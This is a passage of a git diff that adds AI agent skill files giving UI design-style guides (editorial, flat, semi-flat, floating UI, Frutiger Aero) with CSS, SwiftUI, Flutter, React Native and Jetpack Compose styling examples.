Drop Cap */ +.editorial-body::first-letter { + font-family: 'Playfair Display', serif; + font-size: 4rem; + float: left; + line-height: 0.8; + padding-right: 12px; + color: var(--cta-highlight); +} + +.pull-quote { + font-family: 'Playfair Display', serif; + font-size: 2rem; + text-align: center; + margin: 48px 0; + padding: 24px 0; + border-top: 2px solid #121212; + border-bottom: 2px solid #121212; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct EditorialView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 24) { + // Editorial Headline + Text("The Digital\nMagazine") + .font(.custom("Playfair Display", size: 48)) + .fontWeight(.bold) + .italic() + .foregroundColor(Color(white: 0.05)) + .padding(.bottom, 16) + + Divider().background(Color.black) + + // Drop Cap and Body + HStack(alignment: .top, spacing: 8) { + Text("I") + .font(.custom("Playfair Display", size: 64)) + .foregroundColor(Color(red: 0.7, green: 0.2, blue: 0.2)) + // Negative padding to pull the body text tighter to the drop cap + .padding(.top, -10) + + Text("n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif...") + .font(.custom("Lato", size: 16)) + .lineSpacing(6) + .foregroundColor(Color(white: 0.1)) + } + + // Pull Quote + VStack { + Divider().background(Color.black) + Text("“Sophistication is in the spacing.”") + .font(.custom("Playfair Display", size: 28)) + .italic() + .multilineTextAlignment(.center) + .padding(.vertical, 24) + Divider().background(Color.black) + } + .padding(.vertical, 24) + } + .padding(24) + } + .background(Color(red: 0.98, green: 0.98, blue: 0.96)) // Warm paper white + } +} +``` +- Extensive use of `.font(.custom())` is mandatory. System fonts look too app-like. +- Use `Divider()` to create the hairlines that are so common in print design. +- A fake "drop cap" can be achieved with an `HStack` aligning top. + +### Flutter +```dart +class EditorialScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF9F9F8), // Paper background + body: SingleChildScrollView( + padding: const EdgeInsets.all(24.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const SizedBox(height: 40), + const Text( + 'The Digital\nMagazine', + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 48, fontWeight: FontWeight.bold, fontStyle: FontStyle.italic, height: 1.1), + ), + const SizedBox(height: 24), + const Divider(color: Colors.black, thickness: 1), + const SizedBox(height: 24), + // Body with Drop Cap simulation using RichText is complex, + // a simpler Row approach works well enough for mobile. + Row( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text( + 'I', + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 72, height: 1.0, color: Color(0xFF8B0000)), + ), + const SizedBox(width: 8), + Expanded( + child: const Text( + 'n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif brings humanity back to the screen.', + style: TextStyle(fontFamily: 'Lato', fontSize: 16, height: 1.6, color: Colors.black87), + ), + ), + ], + ), + const SizedBox(height: 48), + // Pull Quote + const Divider(color: Colors.black, thickness: 2), + const Padding( + padding: EdgeInsets.symmetric(vertical: 32.0), + child: Center( + child: Text( + '“Sophistication is in the spacing.”', + textAlign: TextAlign.center, + style: TextStyle(fontFamily: 'PlayfairDisplay', fontSize: 28, fontStyle: FontStyle.italic), + ), + ), + ), + const Divider(color: Colors.black, thickness: 2), + ], + ), + ), + ); + } +} +``` +- Set `height` parameters in `TextStyle` (line-height). `1.6` is a good editorial body height. +- Use `Divider` with `thickness: 2` for the heavy rules around pull quotes. + +### React Native +```jsx +const EditorialScreen = () => { + return ( + <ScrollView style={{ flex: 1, backgroundColor: '#F9F9F8', padding: 24 }}> + <Text style={{ + fontFamily: 'PlayfairDisplay-BoldItalic', + fontSize: 48, + color: '#121212', + lineHeight: 52, + marginTop: 40, + marginBottom: 24 + }}> + The Digital{'\n'}Magazine + </Text> + + <View style={{ height: 1, backgroundColor: '#121212', marginBottom: 24 }} /> + + <View style={{ flexDirection: 'row' }}> + <Text style={{ + fontFamily: 'PlayfairDisplay-Bold', + fontSize: 72, + color: '#8B0000', + lineHeight: 80, + marginTop: -10, // Adjust alignment + marginRight: 8 + }}> + I + </Text> + <Text style={{ + flex: 1, + fontFamily: 'Lato-Regular', + fontSize: 16, + lineHeight: 26, + color: '#333' + }}> + n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif brings humanity. + </Text> + </View> + + {/* Pull Quote */} + <View style={{ + borderTopWidth: 2, borderBottomWidth: 2, borderColor: '#121212', + marginTop: 48, paddingVertical: 32 + }}> + <Text style={{ + fontFamily: 'PlayfairDisplay-Italic', + fontSize: 28, + textAlign: 'center', + color: '#121212' + }}> + “Sophistication is in the spacing.” + </Text> + </View> + </ScrollView> + ); +}; +``` +- Line heights and fonts are everything. You must have custom fonts linked in your React Native project for this style to work. +- Use `borderTopWidth` and `borderBottomWidth` on a container `View` to create the pull quote styling. + +### Jetpack Compose +```kotlin +@Composable +fun EditorialScreen() { + // Assuming Playfair and Lato are defined in FontFamily + val playfair = FontFamily.Serif + val lato = FontFamily.SansSerif + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF9F9F8)) + .verticalScroll(rememberScrollState()) + .padding(24.dp) + ) { + Spacer(Modifier.height(40.dp)) + + Text( + text = "The Digital\nMagazine", + fontFamily = playfair, + fontSize = 48.sp, + fontWeight = FontWeight.Bold, + fontStyle = FontStyle.Italic, + lineHeight = 52.sp, + color = Color(0xFF121212) + ) + + Spacer(Modifier.height(24.dp)) + Divider(color = Color(0xFF121212), thickness = 1.dp) + Spacer(Modifier.height(24.dp)) + + Row(verticalAlignment = Alignment.Top) { + Text( + text = "I", + fontFamily = playfair, + fontSize = 72.sp, + color = Color(0xFF8B0000), + modifier = Modifier.offset(y = (-10).dp).padding(end = 8.dp) + ) + Text( + text = "n an era of sterile, flat interfaces, the return to elegant typography feels like a breath of fresh air. The interplay of serif and sans-serif.", + fontFamily = lato, + fontSize = 16.sp, + lineHeight = 26.sp, + color = Color(0xFF333333) + ) + } + + Spacer(Modifier.height(48.dp)) + + // Pull Quote + Divider(color = Color(0xFF121212), thickness = 2.dp) + Text( + text = "“Sophistication is in the spacing.”", + fontFamily = playfair, + fontSize = 28.sp, + fontStyle = FontStyle.Italic, + textAlign = TextAlign.Center, + modifier = Modifier.fillMaxWidth().padding(vertical = 32.dp) + ) + Divider(color = Color(0xFF121212), thickness = 2.dp) + } +} +``` +- Compose handles custom fonts and line heights (`26.sp`) very elegantly. +- Use `Divider()` for the hairlines. Adjust thickness as needed for headers vs pull quotes. + +## Do's and Don'ts +- **DO**: Treat the interface like a printed page. Margins should be generous. +- **DON'T**: Clutter the UI with typical app components like floating action buttons or heavy navigation bars. Keep it clean. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/flat-design-2/SKILL.md b/antigravity-awesome-skills/skills/design-it/flat-design-2/SKILL.md new file mode 100644 index 00000000..146a2441 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/flat-design-2/SKILL.md @@ -0,0 +1,240 @@ +--- +name: flat-design-2 +description: Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Flat Design 2.0 (Semi-Flat) + +> "Flat aesthetics, but with subtle hints of physics to communicate interactability." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Mostly Flat**: The primary aesthetic remains 2D and solid. +2. **Subtle Elevation**: Use extremely soft, large-spread shadows strictly to indicate interactable elements (buttons, floating action buttons) or layers (modals). +3. **Micro-Gradients**: Occasional, barely noticeable linear gradients to prevent large surfaces from feeling dead. + +## Visual DNA +- **Colors**: Pairs well with **Warm Tech** or **Earth-Grounded Elegance**. +- **Typography**: Clean, readable sans-serifs. +- **Shadows**: Shadows must be low opacity, high blur, and usually tinted with the background color, not pure black. + +## Web Implementation +- **CSS Example**: +```css +:root { + --shadow-color: rgba(43, 48, 58, 0.08); /* Tinted shadow */ +} + +.flat2-card { + background-color: var(--bg-primary); + border-radius: 8px; + padding: 32px; + /* Very subtle, diffuse shadow */ + box-shadow: 0 10px 30px var(--shadow-color); + transition: transform 0.3s ease, box-shadow 0.3s ease; +} + +.flat2-card:hover { + transform: translateY(-4px); + box-shadow: 0 20px 40px rgba(43, 48, 58, 0.12); +} + +.flat2-btn { + background: var(--cta-highlight); + border-radius: 4px; + padding: 12px 24px; + color: white; + border: none; + box-shadow: 0 4px 12px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SemiFlatCard: View { + @State private var isPressed = false + + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Semi-Flat Card") + .font(.system(size: 18, weight: .semibold)) + Text("Flat aesthetic with just enough depth to hint at interactivity.") + .font(.system(size: 15)) + .foregroundColor(.secondary) + } + .padding(24) + .background(Color(.systemBackground)) + .cornerRadius(8) + // The key: very soft, tinted shadow — NOT harsh black + .shadow(color: Color.black.opacity(0.06), radius: 12, x: 0, y: 4) + .scaleEffect(isPressed ? 0.98 : 1.0) + .animation(.easeOut(duration: 0.2), value: isPressed) + .onLongPressGesture(minimumDuration: .infinity, pressing: { pressing in + isPressed = pressing + }, perform: {}) + } +} + +struct SemiFlatButton: View { + var body: some View { + Button(action: {}) { + Text("Continue") + .font(.system(size: 15, weight: .semibold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(Color.accentColor) + .cornerRadius(4) + // Subtle button shadow + .shadow(color: Color.accentColor.opacity(0.25), radius: 8, x: 0, y: 4) + } + .buttonStyle(.plain) + } +} +``` +- Shadow color should be tinted (e.g., `Color.accentColor.opacity(0.15)`), never pure black. +- Use `radius: 10...16` with `opacity: 0.05...0.08` — if you can immediately see the shadow, it's too heavy. +- Add subtle `scaleEffect` on press to hint at physical feedback. + +### Flutter +```dart +class SemiFlatCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(8), + // Very soft, tinted shadow + boxShadow: [ + BoxShadow( + color: const Color(0xFF2B303A).withOpacity(0.08), + blurRadius: 24, + offset: const Offset(0, 8), + spreadRadius: 0, + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Semi-Flat Card', + style: TextStyle(fontSize: 18, fontWeight: FontWeight.w600)), + const SizedBox(height: 16), + const Text('Flat aesthetic with just enough depth to hint at interactivity.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + const SizedBox(height: 20), + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + elevation: 2, // Very low — just enough to feel clickable + shadowColor: Theme.of(context).primaryColor.withOpacity(0.3), + backgroundColor: Theme.of(context).primaryColor, + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(4)), + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 12), + ), + child: const Text('Continue', style: TextStyle(fontWeight: FontWeight.w600)), + ), + ], + ), + ); + } +} +``` +- Use `elevation: 1` to `elevation: 4` max. Never exceed `elevation: 6`. +- Tint the `shadowColor` to match the card's background or the brand color. +- Use `InkWell` for ripple effects and a slight `Transform.translate` animation on press. + +### React Native +```jsx +const SemiFlatCard = () => ( + <View style={{ + padding: 24, + backgroundColor: '#FFFFFF', + borderRadius: 8, + // Very subtle, diffuse shadow + shadowColor: '#2B303A', + shadowOffset: { width: 0, height: 8 }, + shadowOpacity: 0.08, + shadowRadius: 24, + // Android + elevation: 3, + }}> + <Text style={{ fontSize: 18, fontWeight: '600', marginBottom: 16 }}> + Semi-Flat Card + </Text> + <Text style={{ fontSize: 15, color: '#666', marginBottom: 20 }}> + Flat aesthetic with just enough depth to hint at interactivity. + </Text> + <Pressable + style={({ pressed }) => ({ + backgroundColor: '#4A90D9', + paddingHorizontal: 24, + paddingVertical: 12, + borderRadius: 4, + alignSelf: 'flex-start', + transform: [{ scale: pressed ? 0.97 : 1 }], + shadowColor: '#4A90D9', + shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.25, + shadowRadius: 8, + })} + > + <Text style={{ color: '#FFF', fontWeight: '600' }}>Continue</Text> + </Pressable> + </View> +); +``` +- On iOS use `shadowOpacity: 0.05...0.10` with `shadowRadius: 16...24` for a diffuse spread. +- On Android, `elevation: 2...4` is equivalent. Avoid going above `elevation: 6`. +- Use `Pressable` with `({ pressed })` style callback for animated press states. + +### Jetpack Compose +```kotlin +@Composable +fun SemiFlatCard() { + Card( + modifier = Modifier.fillMaxWidth(), + shape = RoundedCornerShape(8.dp), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp), + colors = CardDefaults.cardColors(containerColor = Color.White), + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Semi-Flat Card", fontSize = 18.sp, fontWeight = FontWeight.SemiBold) + Spacer(Modifier.height(16.dp)) + Text("Flat aesthetic with just enough depth to hint at interactivity.", + fontSize = 15.sp, color = Color(0xFF666666)) + Spacer(Modifier.height(20.dp)) + Button( + onClick = {}, + shape = RoundedCornerShape(4.dp), + elevation = ButtonDefaults.buttonElevation(defaultElevation = 2.dp), + contentPadding = PaddingValues(horizontal = 24.dp, vertical = 12.dp), + ) { + Text("Continue", fontWeight = FontWeight.SemiBold) + } + } + } +} +``` +- Use `CardDefaults.cardElevation(defaultElevation = 2.dp)` — keep it under 4dp. +- On hover/press: `hoveredElevation = 4.dp, pressedElevation = 1.dp` for subtle physics. +- Tint shadows by using `Modifier.shadow(elevation, shape, ambientColor, spotColor)` with custom tinted colors. + +## Do's and Don'ts +- **DO**: Keep shadows incredibly subtle. If you immediately notice the shadow, it's too dark. +- **DON'T**: Use inner shadows, heavy gradients, or skeuomorphic textures. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/flat-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/flat-design/SKILL.md new file mode 100644 index 00000000..45b2966c --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/flat-design/SKILL.md @@ -0,0 +1,221 @@ +--- +name: flat-design +description: Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Flat Design + +> "Digital surfaces should look digital. Embrace the 2D plane." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Zero Depth**: Absolutely no drop shadows, bevels, gradients, or 3D effects. Everything sits on the same z-axis. +2. **Sharp & Simple Geometries**: Perfect circles, sharp rectangles. No complex organic shapes. +3. **High Contrast Solid Colors**: Rely on stark contrast between solid blocks of color to delineate space. + +## Visual DNA +- **Colors**: Pairs well with **Industrial Chic** or **Modern Editorial**. Avoid gradients entirely. +- **Typography**: Strong, highly legible sans-serifs (e.g., `Roboto`, `Open Sans`). Keep it medium to bold. +- **Icons**: Solid, monochromatic, glyph-style icons without intricate details. + +## Web Implementation +- Rely entirely on background colors and borders for structure. +- **CSS Example**: +```css +.flat-card { + background-color: var(--secondary-base); + border: 2px solid var(--primary-text); + border-radius: 0; /* Sharp corners preferred */ + padding: 32px; + /* NO box-shadow */ +} +.flat-btn { + background-color: var(--cta-highlight); + color: #fff; + border: none; + padding: 16px 32px; + font-weight: 700; + text-transform: uppercase; + transition: opacity 0.2s; +} +.flat-btn:hover { + opacity: 0.8; /* Only change opacity or solid color on hover, no lifting */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FlatCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("Card Title") + .font(.system(size: 18, weight: .bold)) + + Text("Content without any depth effects.") + .font(.system(size: 15)) + .foregroundColor(.secondary) + + Button(action: {}) { + Text("ACTION") + .font(.system(size: 14, weight: .bold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(Color.blue) + // No cornerRadius — sharp edges + } + } + .padding(24) + .background(Color(.secondarySystemBackground)) + // NO .shadow() — ever + // NO .cornerRadius() — sharp rectangles + .overlay( + Rectangle().stroke(Color.primary.opacity(0.2), lineWidth: 1) + ) + } +} +``` +- Never use `.shadow()` or `.cornerRadius()`. Elements are flat rectangles. +- Use `.overlay(Rectangle().stroke(...))` for visible borders instead of shadows to delineate space. +- Hover/tap states should only change `opacity` or swap a solid background color. + +### Flutter +```dart +class FlatCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.grey[100], + border: Border.all(color: Colors.black26, width: 1), + // borderRadius: NONE — sharp corners + // boxShadow: NONE — zero depth + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Card Title', + style: TextStyle(fontSize: 18, fontWeight: FontWeight.bold)), + const SizedBox(height: 16), + const Text('Content without any depth effects.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + const SizedBox(height: 16), + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + elevation: 0, // Critical: no shadow + backgroundColor: Colors.blue, + foregroundColor: Colors.white, + shape: const RoundedRectangleBorder( + borderRadius: BorderRadius.zero, // Sharp corners + ), + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 12), + ), + child: const Text('ACTION', + style: TextStyle(fontWeight: FontWeight.bold, letterSpacing: 1)), + ), + ], + ), + ); + } +} +``` +- Override `ThemeData` globally to kill all elevation: + ```dart + ThemeData( + cardTheme: const CardTheme(elevation: 0, shape: RoundedRectangleBorder()), + appBarTheme: const AppBarTheme(elevation: 0), + floatingActionButtonTheme: const FloatingActionButtonThemeData(elevation: 0), + ) + ``` +- Use `Container` with `BoxDecoration` instead of `Card` widget to avoid default elevation. + +### React Native +```jsx +const FlatCard = () => ( + <View style={{ + padding: 24, + backgroundColor: '#F0F0F0', + borderWidth: 1, + borderColor: '#CCCCCC', + // NO borderRadius + // NO elevation or shadow properties + }}> + <Text style={{ fontSize: 18, fontWeight: '700', marginBottom: 16 }}> + Card Title + </Text> + <Text style={{ fontSize: 15, color: '#666', marginBottom: 16 }}> + Content without any depth effects. + </Text> + <TouchableOpacity + style={{ + backgroundColor: '#2196F3', + paddingHorizontal: 24, + paddingVertical: 12, + alignSelf: 'flex-start', + // NO borderRadius, NO elevation + }} + activeOpacity={0.7} + > + <Text style={{ color: '#FFF', fontWeight: '700', letterSpacing: 1 }}> + ACTION + </Text> + </TouchableOpacity> + </View> +); +``` +- Explicitly set `elevation: 0` and remove ALL shadow properties (`shadowColor`, `shadowOffset`, etc.). +- If using React Native Paper, override the theme: `const theme = { ...DefaultTheme, roundness: 0, }`. +- Tap feedback should change `backgroundColor` directly, not add glow or lift. + +### Jetpack Compose +```kotlin +@Composable +fun FlatCard() { + Column( + modifier = Modifier + .background(Color(0xFFF0F0F0)) + .border(1.dp, Color(0xFFCCCCCC)) + .padding(24.dp) + ) { + Text("Card Title", fontSize = 18.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(16.dp)) + Text("Content without any depth effects.", + fontSize = 15.sp, color = Color(0xFF666666)) + Spacer(Modifier.height(16.dp)) + Button( + onClick = {}, + shape = RectangleShape, // Sharp corners + elevation = ButtonDefaults.buttonElevation( + defaultElevation = 0.dp, // No shadow + pressedElevation = 0.dp, + ), + colors = ButtonDefaults.buttonColors(containerColor = Color(0xFF2196F3)), + contentPadding = PaddingValues(horizontal = 24.dp, vertical = 12.dp), + ) { + Text("ACTION", fontWeight = FontWeight.Bold, letterSpacing = 1.sp) + } + } +} +``` +- Override `MaterialTheme` shapes: `shapes = Shapes(small = RectangleShape, medium = RectangleShape, large = RectangleShape)`. +- Set all elevation to `0.dp` on `Card`, `TopAppBar`, and `FloatingActionButton`. +- Use `Modifier.border()` instead of elevation to separate UI regions. + +## Do's and Don'ts +- **DO**: Use solid, contrasting borders to separate overlapping elements. +- **DON'T**: Use any transparency (rgba) or blur effects. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/floating-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/floating-ui/SKILL.md new file mode 100644 index 00000000..90972ffe --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/floating-ui/SKILL.md @@ -0,0 +1,299 @@ +--- +name: floating-ui +description: Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Floating UI + +> "Defying gravity. Elements that hover effortlessly above the surface." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Detachment**: UI elements (like nav bars, sidebars, or main content cards) do not touch the edges of the screen. They float with margins on all sides. +2. **Soft, Diffuse Shadows**: Large, highly blurred shadows directly beneath elements. +3. **Pill Shapes & Rounds**: Fully rounded corners (pill shapes) enhance the floating, bubble-like aesthetic. + +## Visual DNA +- **Colors**: **Earth-Grounded Elegance** or **Minimalist Slate**. Use a slightly tinted background (off-white or very light gray) so the floating white elements pop. +- **Typography**: Clean, airy sans-serifs with generous line height. +- **Layout**: The "floating island" pattern for navigation (a pill-shaped nav bar centered at the bottom or top of the screen). + +## Web Implementation +- Focus on large margins and specific shadow styles. +- **CSS Example**: +```css +body { + background-color: var(--bg-primary); /* e.g., #F4F4F9 */ + padding: 24px; /* Ensure nothing touches the edge */ +} + +.floating-nav { + position: fixed; + bottom: 32px; + left: 50%; + transform: translateX(-50%); + background: white; + border-radius: 50px; /* Pill shape */ + padding: 12px 32px; + + /* Large, soft shadow */ + box-shadow: 0 16px 40px rgba(0,0,0,0.08); + + display: flex; + gap: 24px; +} + +.floating-card { + background: white; + border-radius: 24px; + padding: 32px; + margin-bottom: 24px; + box-shadow: 0 10px 30px rgba(0,0,0,0.05); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FloatingUIView: View { + var body: some View { + ZStack { + // Very light background + Color(red: 0.95, green: 0.95, blue: 0.97).ignoresSafeArea() + + ScrollView { + VStack(spacing: 24) { + // Floating Content Card + VStack(alignment: .leading, spacing: 12) { + Text("Floating Card") + .font(.title2).fontWeight(.bold) + Text("This card hovers above the background, with massive soft shadows and completely rounded corners.") + .foregroundColor(.secondary) + } + .padding(32) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(32) // Very large radius + // Large, highly blurred shadow + .shadow(color: Color.black.opacity(0.05), radius: 30, x: 0, y: 15) + .padding(.horizontal, 24) // Keeps it detached from edges + } + .padding(.top, 40) + } + + // Floating Pill Navigation + VStack { + Spacer() + HStack(spacing: 40) { + Image(systemName: "house.fill").foregroundColor(.blue) + Image(systemName: "magnifyingglass").foregroundColor(.gray) + Image(systemName: "bell.fill").foregroundColor(.gray) + Image(systemName: "person.fill").foregroundColor(.gray) + } + .padding(.vertical, 16) + .padding(.horizontal, 32) + .background(Color.white) + .clipShape(Capsule()) // Pill shape + .shadow(color: Color.black.opacity(0.1), radius: 25, x: 0, y: 10) + .padding(.bottom, 32) // Detached from bottom edge + } + } + } +} +``` +- A `.clipShape(Capsule())` with a massive `.shadow()` creates the perfect floating pill navigation bar. +- Push the `.shadow(radius: ...)` up to 25 or 30 with a very low opacity (0.05) to get the soft, diffuse hover effect. + +### Flutter +```dart +class FloatingUIScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF4F4F9), + body: Stack( + children: [ + ListView( + padding: const EdgeInsets.all(24), + children: [ + // Floating Content Card + Container( + margin: const EdgeInsets.only(bottom: 24), + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(32), // Large radius + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.05), + blurRadius: 30, + offset: const Offset(0, 15), + ) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Floating Card', style: TextStyle(fontSize: 24, fontWeight: FontWeight.bold)), + SizedBox(height: 12), + Text('This card hovers above the background.', style: TextStyle(color: Colors.grey)), + ], + ), + ), + ], + ), + + // Floating Bottom Nav + Align( + alignment: Alignment.bottomCenter, + child: Container( + margin: const EdgeInsets.only(bottom: 32), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(50), // Pill shape + boxShadow: [ + BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 25, offset: const Offset(0, 10)) + ], + ), + child: Row( + mainAxisSize: MainAxisSize.min, // Wrap content + children: const [ + Icon(Icons.home, color: Colors.blue), + SizedBox(width: 40), + Icon(Icons.search, color: Colors.grey), + SizedBox(width: 40), + Icon(Icons.person, color: Colors.grey), + ], + ), + ), + ), + ], + ), + ); + } +} +``` +- Avoid the native `BottomNavigationBar`. Instead, use a `Stack` and `Align(alignment: Alignment.bottomCenter)` with a `Container` to build the floating pill menu. +- Use `blurRadius: 30` in `BoxShadow` for the diffuse look. + +### React Native +```jsx +const FloatingUIScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#F4F4F9' }}> + <ScrollView contentContainerStyle={{ padding: 24 }}> + {/* Floating Card */} + <View style={styles.floatingCard}> + <Text style={{ fontSize: 24, fontWeight: 'bold', marginBottom: 12 }}>Floating Card</Text> + <Text style={{ color: '#666' }}>This card hovers above the background, detached from all edges.</Text> + </View> + </ScrollView> + + {/* Floating Pill Nav */} + <View style={styles.floatingNav}> + <Text style={{ fontSize: 20 }}>🏠</Text> + <Text style={{ fontSize: 20, opacity: 0.5 }}>🔍</Text> + <Text style={{ fontSize: 20, opacity: 0.5 }}>👤</Text> + </View> + </View> + ); +}; + +const styles = StyleSheet.create({ + floatingCard: { + backgroundColor: '#FFF', + borderRadius: 32, + padding: 32, + marginBottom: 24, + // iOS shadow + shadowColor: '#000', + shadowOffset: { width: 0, height: 15 }, + shadowOpacity: 0.05, + shadowRadius: 30, + // Android shadow + elevation: 8, + }, + floatingNav: { + position: 'absolute', + bottom: 40, + alignSelf: 'center', + flexDirection: 'row', + backgroundColor: '#FFF', + borderRadius: 50, + paddingVertical: 16, + paddingHorizontal: 32, + gap: 40, // Needs RN 0.71+ + + shadowColor: '#000', + shadowOffset: { width: 0, height: 10 }, + shadowOpacity: 0.1, + shadowRadius: 25, + elevation: 10, + } +}); +``` +- `position: 'absolute'` with `alignSelf: 'center'` is the easiest way to place the pill nav in React Native. +- Android's `elevation` doesn't support massive blur radii very well, so the effect is stronger and softer on iOS. + +### Jetpack Compose +```kotlin +@Composable +fun FloatingUIScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFF4F4F9))) { + Column( + modifier = Modifier + .fillMaxSize() + .padding(24.dp) + ) { + // Floating Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow(15.dp, RoundedCornerShape(32.dp), spotColor = Color.Black.copy(alpha = 0.05f)) + .background(Color.White, RoundedCornerShape(32.dp)) + .padding(32.dp) + ) { + Column { + Text("Floating Card", fontSize = 24.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(12.dp)) + Text("This card hovers above the background.", color = Color.Gray) + } + } + } + + // Floating Pill Nav + Row( + modifier = Modifier + .align(Alignment.BottomCenter) + .padding(bottom = 32.dp) + .shadow(20.dp, CircleShape, spotColor = Color.Black.copy(alpha = 0.1f)) + .background(Color.White, CircleShape) + .padding(horizontal = 32.dp, vertical = 16.dp), + horizontalArrangement = Arrangement.spacedBy(40.dp) + ) { + Icon(Icons.Default.Home, contentDescription = null, tint = Color.Blue) + Icon(Icons.Default.Search, contentDescription = null, tint = Color.Gray) + Icon(Icons.Default.Person, contentDescription = null, tint = Color.Gray) + } + } +} +``` +- Use `CircleShape` for the pill nav background. +- Crucially, lower the `alpha` of the `spotColor` in `Modifier.shadow` to achieve the soft, diffuse shadow look, otherwise Compose defaults to a harsh, dark shadow. + +## Do's and Don'ts +- **DO**: Animate floating elements! A slow, continuous 2px up/down translateY animation makes them feel truly buoyant. +- **DON'T**: Pin elements to the screen edges (except perhaps background images). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/frutiger-aero/SKILL.md b/antigravity-awesome-skills/skills/design-it/frutiger-aero/SKILL.md new file mode 100644 index 00000000..418cc038 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/frutiger-aero/SKILL.md @@ -0,0 +1,274 @@ +--- +name: frutiger-aero +description: Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Frutiger Aero + +> "The aesthetic of mid-2000s optimism. Glossy plastic, clear water, blue skies, and eco-friendly technology." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hyper-Glossy Textures**: Buttons look like polished glass or wet plastic. Extensive use of convex gradients and specular highlights. +2. **Skeuomorphic Nature**: Motifs of green grass, blue skies, water droplets, and bubbles intersecting with sleek glass technology (think Windows Aero or early iOS). +3. **Translucency**: Frosted glass effects, but much more saturated and reflective than 